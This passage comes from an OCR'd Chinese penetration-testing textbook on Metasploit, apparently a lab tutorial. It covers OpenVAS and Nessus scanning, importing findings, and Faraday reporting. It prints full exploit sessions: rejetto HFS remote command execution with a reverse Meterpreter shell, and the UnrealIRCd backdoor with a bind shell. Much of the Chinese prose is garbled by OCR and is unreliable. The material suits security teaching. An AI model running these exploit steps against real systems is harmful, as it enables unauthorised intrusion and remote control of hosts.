empty

Full and fast

Full and fast ultimate

Full and very deep

Full and very deep ultimate
Host Discovery

System Discovery

N bk WN=O

P22 P, FeA 1588 FIFull and fast3Emg . B0 — FIEREID, 33X HLX R FUIDJE2.,

BAEC A HE T HARIDAURISID, v LUESE—25, [T B R4 openvas_task_
create R — MR HMIES .

msf > openvas target list
OpenVAS list of targets

ID Name Hosts Max Hosts 1In Use Comment
Localhost 1localhost 1 0
1 outer 192.168.10.104 1 0 Outer-Interface

msf > openvas_task create Netscan ScanForVulns 2 1
[*] OK, resource created: 675d2302-6978-407e-8320-e206e2130890
OpenVAS list of tasks

ID Name Comment Status Progress

o] Netscan ScanForVulns New -1




s

% 6

#

170 JE A K 69 JR B R M-EL

FATE LM Hopenvas_task_createfii® M2 (FRIEID ), 1 ( HFRID ) G#E: T —H T
%o WINBIEATL S Z )5, Sinl LI NIRRT G R T .

> openvas_task_start

Usage: openvas_task_start <id-
> openvas_task start 0

*] OK, request submitted

M EEFATLIESR, RIE LM Hopenvas_task start iy HYLEIDSER T HEEHPI G
fbo BAEf Hopenvas_task 1istfAREF—MESHHEE, W FEIIR.

msf > openvas_task_list
OpenVAS list of tasks

ID

Status

Comment

Name

Progress

Netscan ScanForVulns Running 40

PREFXHESS SR, HRIESER . SR5 i fHopenvas_report_1istap&4HHHiik
e, SRR EFTR .

msf > openvas_report_Llist
OpenVAS list of reports

ID

2]

Start Time

2016-06-19T15:08:39Z 2016-06-19T15:19:03Z

Task Name

Neﬁ;can

Stop Time

XA AT LA 3, don] DL i
AR, RS

fFopenvas_report_importfn o E N FIREID G ID

msf > openvas report import 0 13
[*1 Imgorting report to database.

WA LM flopenvas_format_1istfr KA H UiA BHEID, SREMTNEIIR.

nsf > openvas_format_list

T OpenVAS list of report formats

ID Name Extension Summary

] Anonymous XML xml Anonymous version of the raw XML report
1 ARF xml Asset Reporting Format v1.0.0.

2 CPE csv Common Product Enumeration CSV table.

3 CSV Hosts csv CSV host summary.

4  CSV Results csv CSV result list,

5 HTML html Single page HTML report.

6 ITG csv German "IT-Grundschutz-Kataloge" report.
7 LaTeX tex LaTeX source file,

8 NBE nbe Legacy OpenVAS report.

9 PDF pdf Portable Document Format report.

10 Topology SVG svg Network topology SVG image.

11 TXT txt Plain text report.

12 Verinice ISM vna Greenbone Verinice ISM Report, v1.1.10.
13 XML xml Raw XML report.
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B RS B R AR EZ 5, wh T LA Fvulnsfir 42 A MSFH (I B 22 , i R IE AR

msf > vulns

[*] Time: 2016-06-19 16:28:50 UTC Vuln: host=192.168.10.104 name=MS15-034 HTTP.sys Remote
tion Vulnerability (remote check) refs=CVE-2015-1635

[*] Time: 2016-06-19 16:28:50 UTC Vuln: host=192.168.10.104 name=PHP-CGI-based setups vuln
when parsing query string parameters from php files. refs=CVE-2012-1823,CVE-2012-2311,CVE-
CVE-2012-2335,BID-53388

[*] Time: 2016-06-19 16:28:50 UTC Vuln: host=192.168.10.104 name=ICMP Timestamp Detection

AR s T A B 2 R A7 2 T B PR o FRATTIA TT LA o ) Y U (] 9392 ity 13 B S
Greenbone B T, XImiAECRE AT HIN, HIRA T X Sedmild 9 4n1y, W FEUR.

& https://127.0.0.1:9 omp?cmd=get_report&report_id=55248290-14b5-400¢ ¥ C‘| |G ¥ Google 0\| wvTE @& j
st Visited ¥ “Oﬁenswe Security '\KaLi Linux '\Kal.i Docs \Kal\ Tools ﬂExplmt—DB ‘Aircrack-ng
~ Report: Results [ 1 - 44 of 54 (total: 549) BE BE ) )

i . o = i = = mi — M- v (3
Filter: |sort reverse=severity result_hosts_only=1 min_cvss_base= min_qod=70 l‘ HE kd =]
Vinrabity BI®  [seee @ oo wos Juocaion [acions |
MS15-034 HTTP.sys Remote Code Execution Vulnerability
(remote check) b 10.0 (High) 95% 192,168.10.104 BOftcp = [
PHP-CGI-based setups wulnerability when parsing query [ 75 High |
string parameters from php files. b 95% 192.168.10.104 BO/tcp Bl
phpinfol) output accessible [ ] BEEICT N s0% 192.168.10.104 80ftcp 5l sl
php Multiple Vulnerabilities -01 Marchl6 (Windows) a LT s0% 192.168.10.104 BOftcp ) s
php 'serialize_function_call' Function Type Confusion [ 705 cHighy |
Vulnerability Marchl6 {Windows) uJ Eleed | SERRUTRLERIE A Y
php 'phar_fix_filepath' Function Stack Buffer Overflow 75 tHigh? |
Vulnerability Marchl6 (Windows) d Gl MERAEIER BRI Hin
php Multiple Vulnerabilities -01 Aprill8 (Windows) 9] ST 50% 192.168.10.104 80ftcp SR
HTTP File Server Remote Command Execution
‘ulnerabilty-01 Jan1 6 a ST 50% 192.168.10.104 B8080/tcp B
HTTP File Server Remote Command Execution
‘ulnerabilty-02 Jan1 6 O] T 80% 192.168.10.104 B080jtcp =N

AT LA AR EHL BB T 2 RARK AT, IR E S X i DO T | W
Xt AR 2R 8 i G sl A B AP IR L

6.1.4 ITEUHXIgiHITIEE

TEVEA T8 25 DAY I i Se 7% 1 A I X Rl DCSBRaEA T A o B B A L I 2%
RSCHEIX IR, XU X IR B E B, (R E AT S HA I i s B i . — DR GER T
s R T DX FRATTIT BB E TARZ HBR M4 s REER il , (E R 28T 220 G HE X
Sl AT AR B MR A S AT TR o O A TR A B B I 5 F i e Y BR AR LE X 2 21 5 77
A e U] o T P DA T A 22 B A T AR A T IE B B B AN
EOR, AT LABERE AN BB

M FARATRE AR BRI, JFREIX L8R 5 1] BE ™ A2 A B R EA TR D T e 200 o I
S, HBATHEX B E H AR — D RIYW48 A S DI, Bt H 2
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ﬁﬁqum%ﬁ%E#@% A LA BARTHENL EEAEMS15-0340% 1, B2 %553
TEZ BN e S5 B HEALEERE L ( Blue Screen of Death, BSOD ), 1E K L4035 5
i, AR Rgﬁﬁa@ﬁﬁDOSﬁlﬂiﬁfﬁ FRAEFRATSSAERE PRl . P, Bkl X i, %
M 2P — SR A A0 U T SFEImEREMITIRE (HTTP File Server Remote
Command Execution Vulnerability ). i id7EOpenVASHY Web ZL 1) % X AN i AU 4075, v LLEF)
AN R 525 CVE 2014-6287 ., 4345 1EMetasploitH 2 4% 53N X 10 A5 i pi e, fRP
e F|exploit /windows/http/rejetto _hfs execfidt, ZFRAHEEI T IE /N

sf > search cve:2014-6287

Matching Modules

Name Disclosure Date Rank Descriptio

exploit/windows/http/rejetto hfs exec 2014-09-11 excellent Rejetto Ht
tpFileServer Remote Command Execution

6.1.5 FRENE#rRVITHIRR
IR B AR TR, RO B AR SE A HIAGR, R E TR,

msf > use exploit/windows/http/rejetto_hfs_exec

msf exploit(rejetto_hfs exec) > set RHOST 192.168.10.104

RHOST => 192.168.10.104

msf exploit(rejetto hfs exec) > set RPORT 80806

RPORT => 8080

msf exploit(rejetto hfs exec) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp

msf exploit(rejetto hfs exec) > set LHOST 192.168.10.107

LHOST => 192.168.10.107

msf exploit(rejetto hfs exec) > exploit

[*] Started reverse TCP handler on 192.168.10.107:4444
[*] Using URL: http://0.0.0.0:8080/VGujcDbSh
[*] Local IP: http://192,168,10.107:8080/VGujcDbSh
[*] Server started.
[*] Sending a malicious request to /
[*] 192.168.10.104 rejetto hfs exec - 192.168.10.104:8080 - Payload request re
ceived: /VGujcDb%h
[*] Sending stage (957487 bytes) to 192.168.10.104
[*]1 Meterpreter session 1 opened (192.168.10.107:4444 -> 192.168.10.104:49178) a
t 2016-06-21 21:21:23 +0530
Tried to delete %TEMP%\bgZFHFalUu.vbs, unknown result
[*] Server stopped.

meterpreter > |

KOTECERINAR T Bbr R S5 . PUE ARSI Z RGBT AL, PeFRA1TA,
BRZAANIE—EITEIL, BRI A AT A

e X SE T AL —Fh R R A SR E L INB BT AN ARPE . 7EMeterpreterfiy
AT A arpfr s, AT EITR,
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meterpreter > sysinfo

Computer ¢ WIN-3KOU2TIJ4Ee
0s : Windows 2812 R2 (Build 96880).
Architecture : x64 (Current Process is WOW64)
System Language : en_US
Domain : WORKGROUP
Logged On Users : 1
Meterpreter : x86/win32
meterpreter > arp
ARP cache
IP address MAC address Interface

192.168.10.107 08:00:27:55:fc:fa 12
192.168.10.108 ©8:00:27:9b:25:a1 12
224.0.0.22 01:00:5e:00:00:16 12
224.0.0.22 01:00:5e:00:00:16 15

M EAR EWIAT arp iy & G5 RATH, L RA — IRl XA TR ALA Pk
192.168.10.108, HSZ5E40] LU I Nmapk 58 X Wi T4E, (H2R TS 2R, kAl
AR — Narpp ST . B EEPYRTRGIE— D NERM LS, MRT] REBAT RIS Ui &
FIARR , B4 AT REASFIGE & B IPHBAETE . FERXAMELL T, [ Harpon] LSRR 28 IR E B .

OpenVAS 5 Metasploit it 5 R A o4k o T — 19 Rl F Nessus i NI 2L T— K e
NEESER

4o R & FfE Kali Linux ¥ % % Nessus, 74 3% I] http://www.hackandtinker.net/
213/1/16/how-to-install-setup-and-use-nessus-on-kali/

fEFNessusi#t TR

Nessus/e:tenableffk i A —a AT 28 TR, B A LT il i £ THZ —. Nessus
AT AP U148, ik o] LGHEAT G MR . PCT DSSKi A, H2 SR 2 e — i
FE R . Nessusi LAEF T 43 A 4f . 5 OpenVASHIH AW 4T T HAA, Nessutl Bt
Eo EBRAMEAIE, [HELENYRBITE, 2— MR RSBHLHEREN TR,

PUAETEMetasploitH &k ANessusffiff:, W FEIIR,

sf > load nessus

*] Nessus Bridge for Metasploit

*] Type for a command listing

*] Successfully loaded plugin: Nessus

sf > nessus_connect nipun:18101988@127.0.0.1:8834
[*] Connecting to https://127.0.0.1:8834/ as nipun
[*] User nipun authenticated successfully.

msf > nessus_policy list

Policy ID Name Policy UUID

48 Basic 731a8e52-3ea6-a291-ec@a-d2ff0619c19d7bd788d6be818b65
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# A Nessustfi {114 771552 OpenVASIR 19 772 L F—FE, ERRMH Loadfi 4. e Tkl
LR, fEnessus_connect @it Ja s P 98 SR UEFIAR 5545 RO TP Al 11, AAIATZE B2 8IA
M Nessusik 55 s o 1B diinessus_policy listfy?, BILIFH Y Nessus T4 Ll B
Fmg——HH O 2 T — 1 NBasiclfm, FHEEA— Fuuip, AT SIS 2 A~
fH. HHETE, QAT

msf > nessus_scan_new 731a8e52-3eab-a291-ec@a-d2ff0619c19d7bd788d6be818b
65 108-Scan "Newly Found 188 System Basic Scan" 192.168.16.108

[*] Creating scan from policy number 731a8e52-3ea6-a291-ecBa-d2ffe619cl9
d7bd788d6be818b65, called 188-Scan - Newly Found 108 System Basic Scan a
nd scanning 192.168.10.108

[*] New scan added

[*] Use nessus_scan_launch 50 to launch the scan

Scan ID Scanner ID Policy ID Targets Owner

50 1 49 192.168.10.188 nipun

FAIEAES, T EE AT R fnessus_scan_newfr I EHRIGHIuuID, {15114
. WA FIPHhE . B BRI, XMESS BRI, M H RGN IXAMES A T S0E N E
f)Scan ID, T —#ffifinessus_scan_launch3Eahx ™MES, W TFENR.

msf > nessus_scan_launch 50

Scan ID 50 successfully launched. The Scan UUID is 7e6dc909-9046-d161-31de-50b6695c9abad8b24218075af6fc
msf > nessus_scan_details 5@ info

Status Policy Scan Name Scan Targets Scan Start Time Scan End Time

running Basic Network Scan 108-Scan  192.168.10.108 1466510183

R L finessus_scan_detailsfii?, LiScan IDFlinfofE NEECkEEH
9 TE BCRAS

1255 5E M2 )5, i Anessus_report_host sy A ISREUTH B B AT EAIE S, R
FE s o

msf > nessus_report_hosts 50

Host ID Hostname % of Critical Findings % of High Findings % of Medium Findings ¥ of Low Findings

2 192.168.10.108 10 4 17 5

TEX A, FRATEIR T 10ME R . 4D EEGR 174 BE GRS A S MR SE R .
T TS nessus_report_vulns K& B EX KA A BT € 2R A iR A8, R
EFTR
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msf > nessus_report_vulns 50

Plugin ID Plugin Name

DNS Server BIND version Directive Remote Version Detection
/doc Directory Browsable

Anonymous FTP Enabled

FTP Server Detection

HTTP Server Type and Version

ICMP Timestamp Request Remote Date Disclosure

Windows NetBIOS / SMB Remote Host Information Disclosure
rexecd Service Detection

rlogin Service Detection

RPC portmapper Service Detection

rsh Service Detection

SMTP Server Detection

SSH Server Type and Version Information

Telnet Server Detection

Traceroute Information

VNC Software Detection

rsh Unauthenticated Access (via finger Information)
Microsoft Windows SMB Log In Possible

Microsoft Windows SMB LanMan Pipe Server Listing Disclosure
X server Detection

NFS Share Export List

MySQL Server Detection

Microsoft Windows SMB NativelLanManager Remote System Information Disclosure
SSL Certificate Information

SSH Protocol Versions Supported

DNS Server Detection

Microsoft Windows SMB Service Detection

RPC Services Enumeration

Service Detection (HELP Request)

Unknown Service Detection: Banner Retrieval

IRC Daemon Version Detection

HTTP TRACE / TRACK Methods Allowed

Nessus SYN scanner

NFS Exported Share Information Disclosure

Web Server Unconfigured - Default Install Page Present
WebDAV Detection

TFTP_Daemon Detection

Plugin Family

DNS

CGI abuses

FTP

Service detection
Web Servers
General

Windows

Service detection
Service detection
RPC

Service detection
Service detection
Service detection
Service detection
General

Service detection

Gain a shell remotely

Windows

Windows

Service detection
RPC

Databases

Windows

General

General

DNS

Windows

Service detection
Service detection
Service detection
Service detection
Web Servers

Port scanners

RPC

Web Servers

Web Servers
Service detection

Vulnerability Count

o

FRRRNRRRRBNNRRRRRRRRRRRERERRRRERRNNR R

ffiFinessus_db_importfii4 HScan IDH¥f NessusH A1 25 AR 5 A Fl|Metasploit 1) B
L IR ERTR.

TEMetasploitH il AhostsFlvulnsfig &kt ARG NY), WFEFR,

msf > nessus_db_import 50

[*] Checking export status...

[*] Importing data of 192.168.16.168
Done
msf > I

[*] Exporting scan ID 50 is Nessus format...
The export file ID for scan ID 50 is 15445806296

[*] The status of scan ID 50 export is ready
[*] Importing scan results to the database...

MedE ) s — A8 TAER , & W I FAGRIEL B £ X ATOpenVASF A

A
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msf > hosts

Hosts

address mac name os_name os_flavor o
s_sp purpose info comments

192.168.10.108 ©08:00:27:9b:25:a1 192.168.10.108 Linux 2
-6 server

msf > vulns

[*] Time: 2016-86-21 12:07:43 UTC Vuln: host=192.168.10.108 name=RPC Ser
vices Enumeration refs=NSS-11111

[*] Time: 2016-06-21 12:87:43 UTC Vuln: host=192.168.10.108 name=RPC Ser
vices Enumeration refs=NSS-11111

[*] Time: 2016-06-21 12:87:43 UTC Vuln: host=192.168.10.108 name=RPC Ser
vices Enumeration refs=NSS-11111

[*] Time: 2016-86-21 12:07:43 UTC Vuln: host=192.168.10.108 name=RPC Ser
vices Enumeration refs=NSS-11111

[*] Time: 2016-06-21 12:07:43 UTC Vuln: host=192.168.10.108 name=Unknown
Service Detection: Banner Retrieval refs=NSS-11154

[*] Time: 2016-06-21 12:07:43 UTC Vuln: host=192.168.10.108 name=Nessus
SYN scanner refs=N$S$-11219

[*] Time: 2016-06-21 12:07:43 UTC Vuln: host=192.168.10.108 name=Apache
Tomcat Manager Common Administrative Credentials refs=CVE-2009-3099,CVE-
2009-3548,CVE-2010-0557,CVE-2010-4094 ,BID-36253,BID-36954,BID-37086,BID-
38084,BID-44172,0SVDB-57898,0SVDB-60176,0SVDB-60317 ,0SVDB-62118,0SVDB-69
008, EDB-ID-18619,CWE-255,MSF-Apache Tomcat Manager Authenticated Upload
Code Execution,NSS-34970

[*] Time: 2016-06-21 12:07:43 UTC Vuln: host=192.168.10.108 name=Unsuppo
rted Web Server Detection refs=NSS-34460

[*] Time: 2016-86-21 12:07:43 UTC Vuln: host=192.168.10.108 name=Apache
Tomcat Default Error Page Version Detection refs=NSS-39446

[*] Time: 2016-06-21 12:07:43 UTC Vuln: host=192.168.10.108 name=Web Ser

ATLAEF], BUTE R Metasploit§iis 72 o EL 2898 I T Nessusi 4345 5 . MAEM flservicesti
AR A RAE HAR LTI A RS, W F PR,

msf > services

Services

host port proto name state info
192.168.16.188 21 tcp ftp open
192.168.10.188 22 tcp ssh open
192.168.10.108 23 tcp telnet open
192.168.16.188 25 tcp smtp open
192.168.16.188 53 tcp dns open
192.168.10.188 53 udp dns open
192.168.10.108 69 udp tftpd open
192.168.16.108 8@ tcp W open

192.168.16.108 111 tcp rpc-portmapper open
192.168.10.108 111 udp rpc-portmapper open

192.168.10.108 139 tcp smb open
192.168.10.168 445 tep cifs open
192.168.10.108 512 tcp rexecd open
192.168.10.168 513 tep rlogin open
192.168.10.108 514 tecp rsh open
192.168.10.108 1099 tcp rmi_registry open
192.168.10.108 1524 tcp wild_shell open
192.168.10.108 2049 tcp rpc-nfs open
192.168.10.188 2049 udp rpc-nfs open
192.168.18.188 2121 tcp ftp open
192.168.18.188 3306 tcp mysql open
192.168.16.108 3632 tep open
192.168.18.188 5432 tcp postgresql open
192.168.10.108 5960 tcp vnc open
192.168.10.108 6000 tcp x11 open
192.168.10.1868 6667 tcp irc open
192.168.10.1868 8009 tcp ajpl3 open
192.168.16.108 8180 tcp W open
192.168.16.108 8787 tcp open
192.168.10.108 36728 tcp rpc-mountd open
192.168.10.108 38747 tcp rpc-status open
192.168.18.188 46318 udp rpc-mountd open

192.168.18.188 51634 tcp rpc-nlockmgr open
192.168.10.188 55045 udp rpc-nlockmgr open
192.168.10.108 58381 udp rpc-status open
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TEHPR ARG s 7 KBRS o R IBE, HB S PN KRG Al I A
MRS, W EIRTR

msf > search cve:2010-2075

Name Disclosure Date Rank Description
exploit/unix/irc/unreal_ircd_3281_backdoor 2010-06-12 excellent UnrealIRCD 3.2.8.1 Backdoor Command Execution
msf > use exploit/unix/irc/unreal_ircd_3281_ backdoor
msf exploit(unreal_ircd_3281_backdoor) > show payloads

Compatible Payloads

Name Disclosure Date Rank Description

cmd/unix/bind_perl normal Unix Command Shell, Bind TCP (via Perl)
cmd/unix/bind_perl_ipvée normal Unix Command Shell, Bind TCP (via perl) IPvé
cmd/unix/bind_ruby normal Unix Command Shell, Bind TCP (via Ruby)
cmd/unix/bind_ruby_ipvée normal Unix Command Shell, Bind TCP (via Ruby) IPvé
cmd/unix/generic normal Unix Command, Generic Command Execution
cmd/unix/reverse normal Unix Command Shell, Double Reverse TCP (telnet)
cmd/unix/reverse_perl normal Unix Command Shell, Reverse TCP (via Perl)
cmd/unix/reverse_perl_ssl normal Unix Command Shell, Reverse TCP SSL (via perl)
cmd/unix/reverse_ruby normal Unix Command Shell, Reverse TCP (via Ruby)
cmd/unix/reverse_ruby_ssl normal Unix Command Shell, Reverse TCP SSL (via Ruby)
cmd/unix/reverse_ssl_double_telnet normal Unix Command Shell, Double Reverse TCP SSL (telnet)

HAEvulnsir S MPATEE R, FRATEFRCVE 2010-20750i——UnrealIRCD 3.2.8.1)5 1 T4
PATIRIE o T SIS XA TR 85, AT ZLAH FH Metasploit 1 i exploit /unix/irc/
unreal_ircd_328 l_backdooﬂ‘ﬁﬁ%o Mshow payloadsﬁﬁ/% (TN E"J?ﬁf%}l@% s ﬁ/ﬂﬁﬁ%}?{ﬁ
i MeterpreterZS B () Ui 28ny,  PRIILT 244d 1 —1 bind shellZSBI U 8immr, W KRR

msf exploit(unreal_ircd_3281_backdoor) > set payload cmd/unix/bind_perl
payload => cmd/unix/bind_perl

Wi At cmd /unix/bind_per 1 &AL — H bR R 50 i shell 3% AR, 7] L3 i< 46
wget i — AT AT X 2k fr BRI B AR EVIFHATE, ik shell FH9 Metepreter., 7
—ANHE B R Hhandler SE 4 ER I ShBE

IR B s A PR S HAR RS

msf exploit(unreal_ircd_3281_backdoor) > set RHOST 192.168.1@.108
RHOST => 192.168.10.1068
msf exploit(unreal_ircd_3281_backdoor) > exploit

[*] Started bind handler
[*] Connected to 192.168.10.108:6667...
:irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname...
tirc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead
[*] Sending backdoor command...
[*] Command shell session 1 opened (192.168.10.107:60083 -> 192.168.10.108:4444) at 2016-06-21 18:03:49 +0530

1s

Donation

LICENSE

aliases
badwords . channel. conf
badwords .message.conf
badwords.quit.conf
curl-ca-bundle.crt
dccallow.conf

doc
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WAL RS B AR EHLAYshe I HIALER o HEBLHARXT FIrA A 2 A 7 22 g f T 20 H ]
FAPER WA I BEA T, T34, SRR AEMNAERE b TARRYE , 82 fe e X i A3 U ] #6822k
Frimis

6.1.6 {RFFITHIIPRFNEZENRIRITE

XF—HUGHEFT I G, FATHT BETCAHT— BRI FARBERIALR, L ICAHH O AR
FER H A R T2 B, ABREEFRPE S —BENNERN RRBETE, H
HPORE 2 0 i M 1 e A I Y A R

6.1.7 {£F Faraday EIE;5i& M

Faraday & — MR EMER A RS - 5 o EHAA SCRFSCET 7R 143 T A R 1o
S50Fp T H., MMFAREY L & TAERSEMITLELE N ., BB AVFCISO (ITZ 2 FE ) FBEiA T
TR M S AL TR R ECR G 52 M XS (5 8L . 5941, Faradayid S22 F P e [a]—31 H L [R] At
TAE. RRIHEFEXATH,

0 4n R % % f£ Kali Linux - & % Faraday , # % ¥ https://github.com/infobyte/
faraday/wiki,

Faraday T HAT — >N & shell, 7] DIEERRHEITBEMK . XA T HSKIEEAE T E T L
A Eshell PB4 RS T H, x5 Bs A T E M B, esh, K fl ) B i 1Y Ho At
T EAMR 3 AR Faraday 40 A5, BIZESUT FHdb_exportfp 4IRS R, W FE
W E TR

msf > db export -f xml /root/Desktop/abc.xml

1 Starting export of workspace Netscan to /root/Desktop/abc.xml [ xml 1...
1 >> Starting export of report

1 >> Starting export of hosts

1 => Starting export of events

1 >> Starting export of services

1 => Starting export of web sites

1 >> Starting export of web pages

1 >> Starting export of web forms

1 >> Starting export of web vulns

1 >> Starting export of module details

1 >> Finished export of report

1 Fiiished export of workspace Netscan to /root/Desktop/abc.xml [ xml ]...
f >

FA VM0 2 2 MR A ST R MBI A b = 1 1o SRR )5 BhiFaraday, HXMLIRE A, i
FEAIR B R
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File Shell Edit Workspace Iools View

HEEEEELIE-T]
shell-i |

[root@mm:™

radag/report/pentest/l

/faraday-dev1>$ cp /root/Desktop/abc.xml /root/.fa

'[Pers pective

Hosts

General
Ew 9216810104 [vi2,ni1]
®

219216810108 [w12,n:1]
wf192.168.10.108

[5(1099/tep) rmi_registry [v:2]

(11 1/tep) rpc-portmapper [v:3]

[51(111/udp) rpe-portmapper [v:2]
(139/tep) smb [v:2]

(1524/tcp) wild_shell [v:3]

(2049/tcp) rpe-nfs [v:4]

[(2049/udp) rpc-nfs [v:2]

PR fan Fon £

3
&
3

[INFO] -
[INFO] -
[INFO] -
[INFO] -

2016-06-22 16:31:00,299 -
2016-06-22 16:31:00,299 -
2016-06-22 16:31:00,299 -
2016-06-22 16:52:45,905 -

faraday -
faraday -
faraday -

faraday - Screenshots taken

Faraday ui is ready
Make sure you have couchdb up and running if you want visualizations
If couchdio is up, peint your browser to: [hitp:/127.0.0,1:5984/reports/_design/reports/index.htmi]

BAEH

Plugin Settings

Plugin

Dnsmap XML Output Plugin
Dnsrecon XML Qutput Plugin
Dnswalk XML Output Plugin
Faraday Output Plugin
Fierce Output Plugin

Ftp

Goohost XML Output Plugin
Hydra XML Qutput Plugin
Listurls XML Qutput Plugin
Maltego MTGX Output Plugin
Masscan Output Plugin
Medusa Output Plugin
Metagoofil XML Output Plugin

Metasploit XML Gutput Plugin
MNessus XML Output Plugin
Netsparker XML Output Plugin
Nexpose XML 2.0 Report Plugin
MNexpose XML Output Plugin
Nikta XML Output Plugin

Nmap XML Cutput Plugin
Onapsis X1 XML Output Plugin

IR

A
Name: IMetasp\oit Online Service Plugin
Tool: IMetasp\oit 410.0
Plugin: [0.0.2
Yalue a
Enable 0
\Database  |msf3
Wordspace %%
Server localhost
User msf3
Password EKO-1818755b
Port 7337

CK Cancel

4

SCBRA R AT, T LU SR b R SR IR R R

4% T /root/.faraday/report T %9 B S pentest#t & Faraday I 4 JA 69 TAEX 69 % 5

LT XA XML& #1247 Froot/. faraday/report/pentest Y TAE X H s H, wlt il LK
5 RS N3 Faraday W T o

BT o] AF-sh#shsl, Faradayil$24E T —A~1] LU E 32 M Metasploit B4 4 Hh AR N 25 0 7E 26
it
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BB AIREEbRZ IS, e WoR AT ER  TAR AR AR .

Dashboard for pentest [ElEE
‘ ,: Top Services @ Top Hosts @ Vulnerabilities @ Services report @ Workspace summarized report @
-I. o UNKNOWN NS TP HrTe HOSTS NOTES SERVICES  TOTALWULNS
o 2 2 2 2 149
[} APCMOUNTD RPCNFS  RPC-NLOGKMGR RPC-PORTMAPP) VULNS
Last Vunerabilities €@
lil [ Vulnerabilities €
Dars Targat Savermy Name Web  rasoluton
& DEi222076 a1 192.168.10.104  Info  PHPCGlbased selups vulneratilty when parsi % ‘I O 0 0 148 O
414PM ) ng quary siring parameters from phy files.
3] GAITICAL HiGH WED Low NFO [UNCLASSIFIE!
oo DBIZZ/2016a  182.168.10.104 Info MS15-034 HTTP sys Remate Code Exacution V. X%
4:14PM @ uinerability (remate check)
| DE2E0IEE  1BZIERIDADE o 1CUP Timestamp Detection x Workspace's worth @
4:14PM @
§5,000.00 total
0B/22/2016 at 192.168.10.104 crcal Rejetto HipFleServer Remate Command Exec ® Mmoderate
4:14PM -2 ution
weznoisn s o PP — * g0 Jke 5 D
4:14PM

BAERCAT LAS BT i | A A Tty Akl i AR R L AR E T IR S I AR TR
P HARAS R A o

Jm R 4845 A Faraday %9 4% /% 7, ¥ 3% ¥l https://github.com/infobyte/faraday/
wiki/Demos,

FaradayiZ 424 7 —ANGTKR @———ANLQTR @47 A4 £ 49GUR & . A X
9 GTKR & 89 £ % 48442 8, 7% [ https:/github.com/infobyte/faraday/wiki/Usage#
gtk-gui,

H % 4 fT1% F) MetasploitfeFaraday ¥ ] TAE ¢ £ %43 8., 3% [ https:/github.
com/infobyte/faraday/wiki/Metasploit,

6.1.8 FIIUERE

BAELEFRA PRIhE AT Fah Qi — B @Rk, BRI NZ AR AN Z, XN
BOZAEAE AGLE, BOZIMARERAT 4, et ook, DLl I 4% . X4
B BRI S PARZ AL, PInRsi A, EBH . SRR G . HIt, 0K BT A 5%
BHESRHEEL, IR 2R IA M AE A RE DX LE N IER I .

1. WERIHER
— RS RS AR AT LU I LA A AT 4050



6.1 {#£J8 Metasploit £& & #9 IR 5 7 % — K5 ) 3%, 181

Q Uit
Q SCREE

LRSI}
w SCRJE

Q NI

m H%
CEGHEIES

Q AT 2

m B GE VS
m JEE MRS
m Hir
m Rk
LR MR ENSEE
w Il oA [#]
w A

Q kRIS
m A
m i 4
m O] REME
m A

Q &% ik

Q Rk

Q B

R — L E EUP R R

O TR SRR PR T ARG B

Q SCHEHl: X LS A AR A U

Q H@E: XE MR RRAS . HEIATE A ARG S AR
Q AR : X B G TR BRI A LA R i o A A
Q REARTIER: XEEHE TR 8 WAL EN TR T

Q BR: XEEE TG THRBIZE R B N AR5

Q FEEEE: e ol B B A 1 S ST R e i R B
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2. ITIHE

PATHZURR SRR RLESY, BE LA E LA ARTER—BOR = BT A0E, M= T w4
EHARMER, @HAEUTMER.

Q SEMNERSEE : X — TR SR LA R R B . — Bk, LY
AHRIPIE AN X — R g o BeAh, il AL A S R A

Q BAR: X — 108 Bz el REASHE By H PR SNk, ARGy o (19 £ A0 55

Q R RN BOR U B AT IR BERRDLZA X A o BB T a0 il A 4 B
A A B T — XSS o QNSRS KX A, Pl ZE A B A PR 5 o fEIX
LT, AT R IRBOMIE , 5 24 PO A RS T I A it

Q REAERME: X LIRS AL AR & AR, B RN Gk S5E%
wL L ARG, fER AR, BRSNS — T A PR
xR, ZNRGUTETZNORERTA G T RBUEXEER— R

BREHER TRRSE
= 19
] 15
(S 10

O IR X912 R B SR ET XIREE 20 R AT
3. B RRARE

ety B IX — AR A T B M AT B BT AT AR . Tl AR AT L S A o i, —
KL, A HILGET THIS 0 P A SRR

Q MRS = 3 0 3R DK v 22 4] | DU PR 3R 1A ik e i ) e Y R
SERIAIREAE LA . AR R T TIEE .

Q RREZE: ZiRE XA R4 . A8, LU A% Y 22 R A

Q ATEEME: X — AR R 1 ok S i B et 5 AT T REME o TR A 3 A i 5 4 U
R RE 53 JEE LA S D)8 18 F A sl ) i g 7 ik A e PR DT A 210

Q#: Xl TiRAMBEE TR, R DBEMAGES BB R4,
WA — 1 HSE I T —F I T AR,

4. M¥pRERSY

Q &E 3wk S8 X R eE AT B A U, SUHRRIREIE A . TSR SS,
LG | FEOE UV E B4 B A 28 ORI A3 H U155

Q RPEER: XAt b BRI DL S e AT & SR R BRI AR 23

Q B3R AR P B — Lo A | AR A A, BT LURE B TRCAE R %



6.2 % 183

6.2 I

AT, FATHS T WA X8 & ST FI NP BARIE T8 S0 K&, W 7E Metasploitfiy
ST EE B TR HRNE N T A, Ll K Metasploit i) £ — K SE B H)B B L35 E
FIVER o 3 ANRATA 24 2] T e A R4S, DA S ey {di F Faraday i 45 BRAL N BE A

FEF—, AR 2% > Wfal il i Metasploit5e B F i deey , LA Anar i st 25 TR
T 33 S A AR BUIR L0k B 2 Y R G HIALER o




—l'

W

15

~ 4ty

= Fim

“RETIRANGEREHAETRIAMNZIEHB G —&, 7

Mr. Robot

TERTEYE T, BATHIE TAUS S FUR R T B B, MirEA T SR gk,
FATHETEAA % P i

AT EIR T LTI A

Q X BAs g T ot

Q AR P i 52 4=t i

O S ER A Linux,

Q 3t Android FILinux 24t .

Q f# ] Arduinoi#f 17835

O W ok Bt e e A B2 S A

BT H P B B EAR R H AR BB E A BRI o X SRS R DT R R R L | 3T
TFERAT— 3O, 4555 X EIRE TRAT7 245 20l 3 I & A RE B B E MBI RS
P, BeEE RIS R TR P IniS B EGE I — D RN R

B ARG AT REIEA TR Z SR AR o X Sep AR (LLUNPDFIR g | SRk PR
P AR LA A TS B Webi ST 2 ) RIS REGE P AYEEARAT o A FHs R 5 Fh o A P
FRBREE , X LEEREE ] RE P ECE A RGHGBIE . FATiE AT LK B2 2 19 R G BRI
HITE

HOE, I — T &P URB B SRR % P A B M 2.
7.1 FEXAENRNRFSERE

